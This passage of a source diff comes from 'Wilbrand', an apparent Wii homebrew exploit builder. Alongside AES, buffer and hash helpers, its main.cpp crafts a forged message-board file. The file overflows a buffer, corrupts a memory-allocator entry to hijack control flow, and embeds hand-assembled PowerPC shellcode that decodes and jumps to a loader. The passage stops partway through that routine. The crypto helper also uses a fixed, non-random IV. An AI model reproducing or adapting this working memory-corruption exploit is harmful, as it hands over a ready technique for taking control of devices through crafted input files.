t=x; x=y; y=t; /* swap pointers */
}
/* Last Round - unroll if possible */
for (m=j=0;j<Nb;j++,m+=3)
{
y[j]=rkey[k++]^(u32)rbsub[(u8)x[j]]^
ROTL8((u32)rbsub[(u8)(x[ri[m]]>>8)])^
ROTL16((u32)rbsub[(u8)(x[ri[m+1]]>>16)])^
ROTL24((u32)rbsub[(u8)(x[ri[m+2]]>>24)]);
}
for (i=j=0;i<Nb;i++,j+=4)
{
unpack(y[i],(u8 *)&buff[j]);
x[i]=y[i]=0; /* clean up stack */
}
return;
}
void aes_set_key( const u8 *key ) {
gentables();
gkey(4, 4, (u8*)key);
}
// CBC mode decryption
void aes_decrypt(u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len) {
u8 block[16];
unsigned int blockno = 0, i;
//fprintf( stderr,"aes_decrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len );
//printf("aes_decrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len);
for (blockno = 0; blockno <= (len / sizeof(block)); blockno++) {
unsigned int fraction;
if (blockno == (len / sizeof(block))) { // last block
fraction = len % sizeof(block);
if (fraction == 0) break;
memset(block, 0, sizeof(block));
} else fraction = 16;
// debug_printf("block %d: fraction = %d\n", blockno, fraction);
memcpy(block, inbuf + blockno * sizeof(block), fraction);
decrypt(block);
u8 *ctext_ptr;
if (blockno == 0) ctext_ptr = iv;
else ctext_ptr = (u8*)inbuf + (blockno-1) * sizeof(block);
for(i=0; i < fraction; i++)
outbuf[blockno * sizeof(block) + i] =
ctext_ptr[i] ^ block[i];
// debug_printf("Block %d output: ", blockno);
// hexdump(outbuf + blockno*sizeof(block), 16);
}
}
// CBC mode encryption
void aes_encrypt(u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len) {
u8 block[16];
unsigned int blockno = 0, i;
//printf("aes_decrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len);
//fprintf( stderr,"aes_encrypt(%p, %p, %p, %lld)\n", iv, inbuf, outbuf, len);
for (blockno = 0; blockno <= (len / sizeof(block)); blockno++) {
unsigned int fraction;
if (blockno == (len / sizeof(block))) { // last block
fraction = len % sizeof(block);
if (fraction == 0) break;
memset(block, 0, sizeof(block));
} else fraction = 16;
// debug_printf("block %d: fraction = %d\n", blockno, fraction);
memcpy(block, inbuf + blockno * sizeof(block), fraction);
for(i=0; i < fraction; i++)
block[i] = inbuf[blockno * sizeof(block) + i] ^ iv[i];
encrypt(block);
memcpy(iv, block, sizeof(block));
memcpy(outbuf + blockno * sizeof(block), block, sizeof(block));
// debug_printf("Block %d output: ", blockno);
// hexdump(outbuf + blockno*sizeof(block), 16);
}
}

13
source/aes.h Normal file
View File

@ -0,0 +1,13 @@
#ifndef __AES_H_
#define __AES_H_
#include "types.h"
void aes_encrypt( u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len );
void aes_decrypt( u8 *iv, const u8 *inbuf, u8 *outbuf, unsigned long long len );
void aes_set_key( const u8 *key );
#endif //__AES_H_

372
source/buffer.cpp Normal file
View File

@ -0,0 +1,372 @@
/***************************************************************************
* Copyright (C) 2011
* by giantpune
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
*
***************************************************************************/
#include <stdio.h>
#include <string.h>
#include "buffer.h"
#include "tools.h"
#ifdef DEBUG_BUFFER
#define dbg( ... ) printf( __VA_ARGS__ )
#else
#define dbg( ... )
#endif
Buffer::Buffer( const void* stuff, u32 size ) : ptr( NULL ), len( 0 )
{
if( stuff )
SetData( stuff, size );
}
Buffer::Buffer() : ptr( NULL ), len( 0 )
{
}
Buffer::Buffer( u32 size )
{
ptr = malloc( size );
if( !ptr )
{
dbg("Buffer::Buffer() failed to allocate memory (0x%08x bytes)\n", size );
len = 0;
return;
}
len = size;
}
Buffer::Buffer( u32 size, char fillChar )
{
ptr = malloc( size );
if( !ptr )
{
dbg("Buffer::Buffer() failed to allocate memory (0x%08x bytes)\n", size );
len = 0;
return;
}
len = size;
memset( ptr, fillChar, len );
}
Buffer::Buffer( const Buffer &other )
{
ptr = NULL;
len = 0;
SetData( other.ptr, other.len );
}
Buffer::~Buffer()
{
if( ptr )
free( ptr );
}
void Buffer::Free()
{
if( ptr )
{
free( ptr );
ptr = NULL;
}
len = 0;
}
void Buffer::Dump( u32 start, u32 size )
{
if( !size )
size = len - start;
if( ( start + size ) > len || !ptr )
return;
hexdump( (u8*)ptr + start, size );
}
Buffer &Buffer::SetData( const void* stuff, u32 size )
{
// TODO - this probably wont work out too well if "stuff" is already contained within this buffer
if( ptr )
{
free( ptr );
ptr = NULL;
len = 0;
}
if( !stuff && !size )
return *this;
if( !size )
{
len = strlen( (const char*)stuff );
}
else
{
len = size;
}
if( !len )//wtf. this probably will never happen
return *this;
ptr = malloc( len );
if( !ptr )
{
dbg("Buffer::Buffer() failed to allocate memory (0x%08x bytes)\n", len );
len = 0;
return *this;
}
memset( ptr, 0, len );
if( stuff )
{
memcpy( ptr, stuff, len );
}
return *this;
}
Buffer &Buffer::Append( const void* stuff, u32 size )
{
if( !stuff )
return *this;
if( !size )
{
size = strlen( (const char*)stuff );
}
ptr = realloc( ptr, len + size );
if( !ptr )
{
dbg( "Buffer::Append(): failed to allocate memory\n" );
len = 0;
return *this;
}
memcpy( (u8*)ptr + len, stuff, size );
len += size;
return *this;
}
Buffer &Buffer::Append( const Buffer &other )
{
return Append( other.ptr, other.len );
}
Buffer &Buffer::Append( char c )
{
ptr = realloc( ptr, len + 1 );
if( !ptr )
{
dbg( "Buffer::Append(): failed to allocate memory\n" );
len = 0;
return *this;
}
char *ch = (char*)ptr;
ch[ len ] = c;
len++;
return *this;
}
Buffer &Buffer::Resize( u32 size )
{
if( !size )
{
Free();
return *this;
}
ptr = realloc( ptr, size );
if( !ptr )
{
dbg( "Buffer::Resize(): failed to allocate memory\n" );
len = 0;
return *this;
}
len = size;
return *this;
}
Buffer &Buffer::Insert( u32 pos, char c )
{
ptr = realloc( ptr, len + 1 );
if( !ptr )
{
dbg( "Buffer::Insert(): failed to allocate memory\n" );
len = 0;
return *this;
}
//copy the chunk after the insertion point
char *ch = (char*)ptr;
u32 p1 = len - 1;
u32 p2 = p1 + 1;
while( p1 >= pos + 1 )
{
ch[ p2-- ] = ch[ p1-- ];
}
//copy the new data
ch[ pos ] = c;
len++;
return *this;
}
Buffer &Buffer::Insert( u32 pos, const void* stuff, u32 size )
{
if( !stuff )
{
dbg( "Buffer::Insert(): stuff = NULL\n" );
return *this;
}
if( pos > len )
{
dbg( "Buffer::Insert(): pos > len [ %08x > %08x ]\n", pos, len );
return *this;
}
ptr = realloc( ptr, len + size );
if( !ptr )
{
dbg( "Buffer::Insert(): failed to allocate memory\n" );
len = 0;
return *this;
}
//copy the chunk after the insertion point
u32 p1 = len - 1;
u32 p2 = ( len + size ) -1;
char *ch = (char*)ptr;
while( p1 >= pos + 1 )
{
ch[ p2-- ] = ch[ p1-- ];
}
//copy the new data
memcpy( ch + pos, stuff, size );
len += size;
return *this;
}
Buffer &Buffer::Insert( u32 pos, const Buffer &other )
{
return Insert( pos, other.ptr, other.len );
}
Buffer &Buffer::operator=( const Buffer &other )
{
if( this == &other )
{
return *this;
}
Free();
if( other.len )
{
ptr = malloc( other.len );
if( !ptr )
{
dbg( "Buffer::operator=: failed to allocate memory\n" );
len = 0;
return *this;
}
len = other.len;
memcpy( ptr, other.ptr, len );
}
return *this;
}
Buffer &Buffer::operator=( const char* stuff )
{
if( (const char*)ptr == stuff )
{
return *this;
}
Free();
if( !stuff )
return *this;
len = strlen( stuff );
ptr = malloc( len );
if( !ptr )
{
dbg( "Buffer::operator=: failed to allocate memory\n" );
len = 0;
return *this;
}
memcpy( ptr, stuff, len );
return *this;
}
Buffer Buffer::FromHex( const std::string &hexEncoded )
{
Buffer res( ( hexEncoded.size() + 1 ) / 2 );
u8 *result = (u8 *)res.Data() + res.Size();
bool odd_digit = true;
for( int i = hexEncoded.size() - 1; i >= 0; --i )
{
int ch = hexEncoded.at( i );
int tmp;
if( ch >= '0' && ch <= '9' )
tmp = ch - '0';
else if( ch >= 'a' && ch <= 'f' )
tmp = ch - 'a' + 10;
else if( ch >= 'A' && ch <= 'F' )
tmp = ch - 'A' + 10;
else
continue;
if( odd_digit )
{
--result;
*result = tmp;
odd_digit = false;
}
else
{
*result |= tmp << 4;
odd_digit = true;
}
}
if( result == (const u8 *)res.ConstData() )
{
return res;
}
Buffer ret( result - (const u8 *)res.ConstData() );
if( (s64)ret.Size() != result - (const u8 *)res.ConstData() )
{
dbg( "Buffer::FromHex() out of memory\n" );
return res;
}
memcpy( ret.Data(), result, res.Size() - ( result - (const u8 *)res.ConstData() ) );
return ret;
}
Buffer Buffer::ToHex() const
{
Buffer hex( len * 2 );
u8 *hexData = (u8*)hex.Data();
const u8 *data = (u8*)ptr;
for( u32 i = 0; i < len; ++i )
{
int j = ( data[ i ] >> 4 ) & 0xf;
if( j <= 9 )
hexData[ i << 1 ] = ( j + '0' );
else
hexData[ i << 1 ] = ( j + 'a' - 10 );
j = data[ i ] & 0xf;
if( j <= 9 )
hexData[ ( i << 1 ) + 1 ] = ( j + '0' );
else
hexData[ ( i << 1 ) + 1 ] = ( j + 'a' - 10 );
}
return hex;
}

106
source/buffer.h Normal file
View File

@ -0,0 +1,106 @@
#ifndef BUFFER_H
#define BUFFER_H
#include <string>
#include "types.h"
//quick'n'dirty (tm) buffer class
// (c) giantpune 2011
//! uses malloc, so no data alignment is performed
//! no memory sharing takes place among buffers
//! no "over allocation" occurs. it is reallocated whenever the size is changed
class Buffer
{
public:
//create a Buffer object with the given data up to the first NULL byte or until len
//! this makes a copy of the data
explicit Buffer( const void* stuff, u32 size = 0 );
Buffer();
Buffer( const Buffer &other );
//! creates a buffer with the given size
Buffer( u32 size );
Buffer( u32 size, char fillChar );
~Buffer();
//de-allocate memory
void Free();
//returns true if len or ptr is 0
bool IsEmpty() const { return !( len && ptr ); }
//for debugging purposes
//! hexdump data to printf, from start to end.
//! if size == 0, it just dumps till the end
void Dump( u32 start = 0, u32 size = 0 );
//number of bytes
u32 Size() const { return len; }
//access functions to the data
unsigned char* Data() { return (unsigned char*)ptr; }
const unsigned char* ConstData() const { return (unsigned char*)ptr; }
//copies the data to this buffer and returns a reference to itself
Buffer &SetData( const void* stuff, u32 size = 0 );
//add more data to the end
Buffer &Append( char c );
Buffer &Append( const void* stuff, u32 size = 0 );
Buffer &Append( const Buffer &other );
//add data to the middle
Buffer &Insert( u32 pos, char c );
Buffer &Insert( u32 pos, const void* stuff, u32 size = 0 );
Buffer &Insert( u32 pos, const Buffer &other );
//add data to the start
Buffer &Prepend( char c ) { return Insert( 0, c ); }
Buffer &Prepend( const void* stuff, u32 size ) { return Insert( 0, stuff, size ); }
Buffer &Prepend( const Buffer &other ) { return Insert( 0, other ); }
//change the size of the allocated memory for this buffer
Buffer &Resize( u32 size );
//operators to append data to this buffer and return a reference it itself
Buffer &operator=(const Buffer &);
Buffer &operator=( const char* stuff );
Buffer &operator+=(char c);
Buffer &operator+=( const u8* stuff );
Buffer &operator+=( const char* stuff );
Buffer &operator+=( const Buffer & );
Buffer &operator<<(char c);
Buffer &operator<<( const u8* stuff );
Buffer &operator<<( const char* stuff );
Buffer &operator<<( const Buffer & );
Buffer ToHex() const;
static Buffer FromHex( const std::string &hexEncoded );
private:
void* ptr;
u32 len;
};
inline Buffer &Buffer::operator+=(char c)
{ return Append( c ); }
inline Buffer &Buffer::operator+=(const u8* stuff)
{ return Append( stuff ); }
inline Buffer &Buffer::operator+=(const char* stuff)
{ return Append( stuff ); }
inline Buffer &Buffer::operator+=( const Buffer &other )
{ return Append( other ); }
inline Buffer &Buffer::operator<<(char c)
{ return Append( c ); }
inline Buffer &Buffer::operator<<(const char* stuff)
{ return Append( stuff ); }
inline Buffer &Buffer::operator<<(const u8* stuff)
{ return Append( stuff ); }
inline Buffer &Buffer::operator<<( const Buffer &other )
{ return Append( other ); }
#endif // BUFFER_H

137
source/cryptostuff.cpp Normal file
View File

@ -0,0 +1,137 @@
/***************************************************************************
* Copyright (C) 2011
* by giantpune
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
*
***************************************************************************/
#include <assert.h>
#include "cryptostuff.h"
#include <string.h>
static const unsigned int CRC32Table[] = {
0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3,
0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91,
0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5,
0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B,
0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F,
0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D,
0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01,
0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457,
0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB,
0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9,
0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD,
0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683,
0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7,
0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5,
0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79,
0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F,
0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713,
0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21,
0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45,
0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB,
0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF,
0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D,
};
u32 ComputeCRC32( u8 *buffer, u16 size )
{
u32 CRC = 0xFFFFFFFF;
for( u32 i = 0; i < size; i++ )
{
CRC = ( CRC >> 8 ) ^ CRC32Table[ ( ( buffer[ i ] ^ CRC ) & 0xFF ) ];
}
return ~CRC;
}
static inline void CopySha( SHA1Context *ctx, u8* buf )
{
for( int i = 0; i < 5; i++ )
{
wbe32( buf + ( i << 2 ), ctx->Message_Digest[ i ] );
}
}
Buffer GetSha1( const Buffer &stuff )
{
Buffer ret( 0x14 );
assert( ret.Size() == 0x14 );
SHA1Context ctx;
SHA1Reset( &ctx );
SHA1Input( &ctx, (const u8*)stuff.ConstData(), stuff.Size() );
SHA1Result( &ctx );
u8* p = (u8*)ret.Data();
CopySha( &ctx, p );
return ret;
}
// reversing done by gray
void hmac_init( hmac_ctx *ctx, const char *key, int key_size )
{
key_size = key_size < 0x40 ? key_size: 0x40;
memset( ctx->key, 0, 0x40 );
memcpy( ctx->key, key, key_size );
for( int i = 0; i < 0x40; i++ )
ctx->key[ i ] ^= 0x36; // ipad
SHA1Reset( &ctx->hash_ctx );
SHA1Input( &ctx->hash_ctx, ctx->key, 0x40 );
}
void hmac_update( hmac_ctx *ctx, const u8 *data, int size )
{
SHA1Input( &ctx->hash_ctx, data, size );
}
void hmac_final( hmac_ctx *ctx, unsigned char *hmac )
{
SHA1Result( &ctx->hash_ctx );
CopySha( &ctx->hash_ctx, hmac );
for( int i = 0; i < 0x40; ++i )
{
ctx->key[ i ] ^= 0x36 ^ 0x5c; // opad
}
SHA1Reset( &ctx->hash_ctx );
SHA1Input( &ctx->hash_ctx, ctx->key, 0x40 );
SHA1Input( &ctx->hash_ctx, hmac, 0x14 );
SHA1Result( &ctx->hash_ctx );
CopySha( &ctx->hash_ctx, hmac );
}

23
source/cryptostuff.h Normal file
View File

@ -0,0 +1,23 @@
#ifndef CRYPTOSTUFF_H
#define CRYPTOSTUFF_H
#include "aes.h"
#include "buffer.h"
#include "sha1.h"
#include "tools.h"
typedef struct
{
SHA1Context hash_ctx;
unsigned char key[ 0x40 ];
} hmac_ctx;
u32 ComputeCRC32( u8 *Buffer, u16 Size ) __attribute__ ( ( const ) );
void hmac_init(hmac_ctx *ctx, const char *key, int key_size);
void hmac_update( hmac_ctx *ctx, const u8 *data, int size );
void hmac_final( hmac_ctx *ctx, unsigned char *hmac );
Buffer GetSha1( const Buffer &stuff );
#endif // CRYPTOSTUFF_H

759
source/main.cpp Normal file
View File

@ -0,0 +1,759 @@
/***************************************************************************
* Copyright (C) 2011
* by giantpune
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any
* damages arising from the use of this software.
*
* Permission is granted to anyone to use this software for any
* purpose, including commercial applications, and to alter it and
* redistribute it freely, subject to the following restrictions:
*
* 1. The origin of this software must not be misrepresented; you
* must not claim that you wrote the original software. If you use
* this software in a product, an acknowledgment in the product
* documentation would be appreciated but is not required.
*
* 2. Altered source versions must be plainly marked as such, and
* must not be misrepresented as being the original software.
*
* 3. This notice may not be removed or altered from any source
* distribution.
*
***************************************************************************/
/*
These files are saved in utf-8 encoding. This should look like the tm sign - . And this likes like a dick 8===ʚ .
Tab = 4 spaces wide. These should look the same width
| <- tab * 2
| <- space * 8
*/
#include <algorithm>
#include <assert.h>
#include <cstdlib>
#include <ctime>
#include <iomanip>
#include <iostream>
#include <stdio.h>
#include <string.h>
#ifdef WIN32
#include <winsock2.h>
#else
#include <arpa/inet.h>
#endif
#include "aes.h"
#include "buffer.h"
#include "cryptostuff.h"
INC_FILE( envelope_bin );
INC_FILE( loader_bin );
// only works with whole numbers
#define RU( n, s ) \
({ \
typeof( n ) n1 = n; \
typeof( s ) s1 = s; \
((((n1) + (s1) - 1) / (s1)) * (s1)); \
})
#define TICKS_PER_SECOND 60750000ULL
#define SECONDS_TO_2000 946684800ULL
#define STRLEN ( (u32)0x10014 + 0x300 )
// some possible exitcodes this program will use
//! these are really for any other tools that would be calling this program
//! such as PHP or some .sh script. If it is a real person running this thing,
//! then hopefully the text output will be more useful than the exit code.
enum ExitCodes
{
E_Success = EXIT_SUCCESS, // everything worked like it should
E_Argc, // too many/few arguments
E_MacLength, // MAC address isnt 12 hex characters
E_BadDate, // error parsing date/date is too high
E_CantWriteFile, // cant write the output file
E_SystemMenuVersion, // error parsing system menu version
E_SDRoot, // SD root doesnt exist
E_BadData // the data files used to build this program are too big or something like that
};
// creates a buffer holding 16 'random' bytes
Buffer &MakeIV( Buffer &in )
{
in = Buffer( 0x10 );
u32* p = (u32*)in.Data();
// this isn't exactly like the system menu does it, but its still based on the current time
//srand( time( NULL ) );
for( u32 i = 0; i < 4; i++ )
{
// p[ i ] = rand();
p[ i ] = 0x12345678;
}
return in;
}
string PathFromDateTime( struct tm *dt )
{
if( !dt )
{
return string();
}
char buf[ 0x100 ];
snprintf( buf, sizeof( buf ), SEP"%04u"SEP"%02u"SEP"%02u"SEP"%02u"SEP"%02u",
dt->tm_year + 1900, dt->tm_mon, dt->tm_mday, dt->tm_hour, dt->tm_min );
return buf;
}
static inline u32 CdbTimeFromDateTime( time_t dt )
{
return dt - SECONDS_TO_2000;
}
void Usage( int exitCode ) __attribute__ ( ( noreturn ) );
void Usage( int exitCode )
{
cout << "Usage:" << endl;
cout << "" << endl;
cout << "Wilbrand <MAC address> <date> <sysmenu version> <SD Root>" << endl;
cout << "" << endl;
cout << " MAC address can be found in the wii settings -> internet information" << endl;
cout << " it is 12 ascii characters." << endl;
cout << "" << endl;
cout << " date is the date you want the message to show up on the messageboard." << endl;
cout << " format is mm/dd/yyyy" << endl;
cout << " or # of seconds since 00:00:00 jan 1, 2000" << endl;
cout << " expressed as a 32bit hex number" << endl;
cout << "" << endl;
cout << " sysmenu version of the system menu to build the exploit for; 4.3e, 4.3k..." << endl;
cout << "" << endl;
cout << " SD Root is the root of the SD card. this program will create the necessary" << endl;
cout << " subfolders and then slap the exploit in it" << endl;
exit( exitCode );
}
void GetWiiID( Buffer mac, Buffer &out )
{
mac += "\x75\x79\x79";
out = GetSha1( mac );
}
// write the attribute header for a playlog and the cdb file header
Buffer &AddCDBAttrHeader( Buffer &in, u32 wiiID_upper, u32 wiiID_lower, u32 cdbTime )
{
char* b = (char*)in.Data();
// start attribute header
strcpy( b, "CDBFILE\x2" ); // magic word & version
wbe32( b + 0x8, wiiID_upper ); // wiiID
wbe32( b + 0xc, wiiID_lower );
b[ 0x10 ] = 0x12; // strlen( description ) + 1
strcpy( b + 0x14, "ripl_board_record" ); // description
wbe32( b + 0x70, 1 ); // entry ID# ( /cdb.conf value )
wbe32( b + 0x74, 1 ); // edit count
wbe32( b + 0x7c, cdbTime ); // last edit time
// start cdb file header
wbe32( b + 0x400, 0x52495f35 ); // magic word
//wbe32( b + 0x404, 0xc3153904 ); // position
//wbe32( b + 0x408, 0x429989fc ); // -149.22, 76.76
wbe32( b + 0x40c, 0x00000001 ); // "type" flag
wbe64( b + 0x410, cdbTime * TICKS_PER_SECOND ); // sent time
strcpy( b + 0x418, "w9999999900000000@wii.com" ); // sender - this is bowser's friend code
wbe32( b + 0x518, 0x00020001 ); // more flags ( origin = email | can reply = false )
return in;
}
// adds the title, message body, and attachment(s) to our message, and then fix the
// checksum in the cdb file header
//! in this case, the message body contains the exploit and there is only 1 attachment
//! which contains the image used for the envelope icon
Buffer &AddStuff( Buffer &in, u32 jumpAddr, u32 overwriteAddr, u32 jumpTableAddr,
u32 fileStructVersion, u32 OSReturnToMenu, u32 __OSStopAudioSystem, u32 __GXAbort,
u32 VFSysOpenFile_current, u32 VFSysReadFile, u32 __OSUnRegisterStateEvent, u32 VISetBlack,
u32 VIFlush, u32 VFiPFVOL_GetVolumeFromDrvChar, u32 VFiPFVOL_SetCurrentVolume )
{
u32 t32;
u8* b = in.Data();
wbe32( b + 0x51c, 0x148 ); // descritpion offset
wbe32( b + 0x520, 0x168 ); // body offset
// write a pretty title ( just using spaces for now now )
PutU16Str( b + 0x548, " " );
// overflow the buffer
for( u32 i = 0x568, val = 0x01010101; i < 0x32400 - 0x8000; i += 4, val += 0x100000 )
{
if( !( val & 0xffff ) || !( ( val >> 16 ) & 0xffff ) )
{
continue;
}
wbe32( b + i, val );
}
wbe32( b + 0x3448 + 0, 0x80F80001 );
wbe32( b + 0x3448 + 4, 0x00010001 );
// overwrite a memory allocator entry with a stack address. next time they allocate memory after
// the buffer overflow happens, it will overwrite a value on the stack to point to the buffer of memory
// that we initialized during the buffer overflow
wbe32( b + 0x3448 + 8, overwriteAddr );
wbe32( b + 0x3448 + 0xc, overwriteAddr );
// this address is read by "lwz %r12, 0(%r3)"
//! it points to itself
wbe32( b + 0x568 + 0xcdf8, jumpTableAddr );
// this one is read into r12 by "lwz %r12, 0xC(%r12)"
//! this one ands up getting executed
wbe32( b + 0x568 + 0xcdf8 + 0xc, jumpAddr );
// a couple macros for making the assembly part below
#define M_PAYLOAD_START( off ) \
( ( b + 0x568 + STRLEN ) + ( off ) )
#define M_PAYLOAD_START_INC() \
({ \
u8* r = M_PAYLOAD_START( oo ); \
oo += 4; \
r; \
})
#define _L( x )\
wbe32( M_PAYLOAD_START_INC(), x )
#define _X( x )\
wbe32( M_PAYLOAD_START_INC(), (x) ^ jumpAddr )
// insert a stub loader that will un-xor the payload to 0x93000000 and branch to it
// this gives an initial payload that is location-independant (as long as it doesn't happen do be in the 0x93000000 area itself)
// and contains no null u16s.
// some addresses of functions in the system menu are written right before the loader in case it wants to use them
//! it assumes that r12 contains the value that the code is xor'd with
u32 oo = 0;
// r29 = 0x01010101
_L( 0x3FA00101 ); //! lis r29, 0x101
_L( 0x3BBD0101 ); //! addi r29, r29, 0x101
// load r28 with the offset to the data we want copied
_L( 0x3B800050 ); //! li r28, 0x50
// location to start copying data
_L( 0x3DE092ff ); //! lis r15, 0x92ff
_L( 0x61EFffd4 ); //! ori r15, r15, 0xffd4
// destination - offset
_L( 0x7DDC7850 ); //! sub r14, r15, r28
// r12 already contains the jump address
// load a u32 of the elf loader, xor with r12, write it to r14 + offset
//! loop:
_L( 0x7CACE02E ); //! lwzx r5,r12,r28
_L( 0x7CA66278 ); //! xor r6, r5, r12
_L( 0x7CCEE12E ); //! stwx r6,r14,r28
// sync
_L( 0x7C0EE06C ); //! dcbst r14, r28
_L( 0x7C0004AC ); //! sync
_L( 0x7C0EE7AC ); //! icbi r14, r28
// if the value of the u32 was not 0x01010101 before the xor, goto loop
_L( 0x7C05E800 ); //! cmpw r5, r29
_L( 0x3B9C0004 ); //! addi r28, r28, 4
_L( 0x40a2ffe0 ); //! bne- 0xFFE0
// sync
_L( 0x7C0004AC ); //! sync
_L( 0x4C00012C ); //! isync
// execute 0x93000000
_L( 0x3D809300 ); //! lis r12, 0x9300
_L( 0x7D8903A6 ); //! mtctr r12
_L( 0x4E800420 ); //! bctr
// add addresses for the loader to use
_X( fileStructVersion );
_X( OSReturnToMenu );
_X( __OSStopAudioSystem );
_X( __GXAbort );
_X( VFSysOpenFile_current );
_X( VFSysReadFile );
_X( __OSUnRegisterStateEvent );
_X( VISetBlack );
_X( VIFlush );
_X( VFiPFVOL_GetVolumeFromDrvChar );
_X( VFiPFVOL_SetCurrentVolume );
// add the loader
u32* src = (u32*)loader_bin;
u32* dst = (u32*)M_PAYLOAD_START_INC();
u32 _xor = htonl( jumpAddr );
t32 = RU( loader_bin_size, 4 ) / 4;
for( u32 i = 0; i < t32; i++ )
{
dst[ i ] = src[ i ] ^ _xor;
}
oo += RU( loader_bin_size, 4 );
